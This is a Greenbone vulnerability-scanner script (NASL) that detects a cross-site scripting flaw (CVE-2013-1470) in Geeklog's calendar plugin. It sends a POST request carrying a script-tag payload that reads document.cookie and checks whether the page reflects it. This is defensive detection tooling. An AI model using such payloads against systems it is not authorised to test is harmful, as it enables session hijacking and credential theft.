Geeklog Calendar Plugin Cross Site Scripting Vulnerability

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804237");
  script_version("2023-12-13T05:05:23+0000");
  script_cve_id("CVE-2013-1470");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2014-02-13 18:21:52 +0530 (Thu, 13 Feb 2014)");
  script_name("Geeklog Calendar Plugin Cross Site Scripting Vulnerability");

  script_tag(name:"summary", value:"Geeklog is prone to a cross-site scripting (XSS) vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted exploit string via HTTP POST request and check whether it is
  able to read the string or not.");

  script_tag(name:"insight", value:"The flaw is due to input passed via the 'calendar_type' parameter to
  'submit.php', which is not properly sanitised before using it.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to steal the victim's
  cookie-based authentication credentials.");

  script_tag(name:"affected", value:"Geeklog 1.8.2 and 2.0.0, Other versions may also be affected.");

  script_tag(name:"solution", value:"Upgrade to version 1.8.2sr1, 2.0.0rc2 or later.");

  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/82326");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/58209");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/120593");
  script_xref(name:"URL", value:"http://www.geeklog.net/article.php/geeklog-1.8.2sr1");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  script_xref(name:"URL", value:"https://www.geeklog.net");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("host_details.inc");

geekPort = http_get_port(default:80);

if(!http_can_host_php(port:geekPort)){
  exit(0);
}

foreach dir (make_list_unique("/", "/geeklog", "/cms", "/blog", http_cgi_dirs(port:geekPort)))
{

  if(dir == "/") dir = "";

  geekReq = http_get(item:dir + "/admin/moderation.php", port:geekPort);
  geekRes = http_keepalive_send_recv(port:geekPort, data:geekReq);

  if("geeklog.net" >< geekRes && "Username:" >< geekRes && "Password:" >< geekRes)
  {

    url = dir + "/submit.php?type=calendar";

    payload = "mode=Submit&calendar_type=%22%3E%3Cscript%3Ealert%28document" +
              ".cookie%29%3B%3C%2Fscript%3E";
    host = http_host_name(port:geekPort);
    geekReq = string("POST ",url," HTTP/1.0\r\n",
                 "Host: ", host, "\r\n",
                 "Connection: keep-alive\r\n",
                 "Content-Type: application/x-www-form-urlencoded\r\n",
                 "Content-Length: ",strlen(payload), "\r\n\r\n",
                 payload);
    geekRes = http_keepalive_send_recv(port:geekPort, data:geekReq, bodyonly:FALSE);

    if(geekRes =~ "^HTTP/1\.[01] 200" && "><script>alert(document.cookie);</script>" >< geekRes)
    {
      security_message(port:geekPort);
      exit(0);
    }
  }
}

exit(99);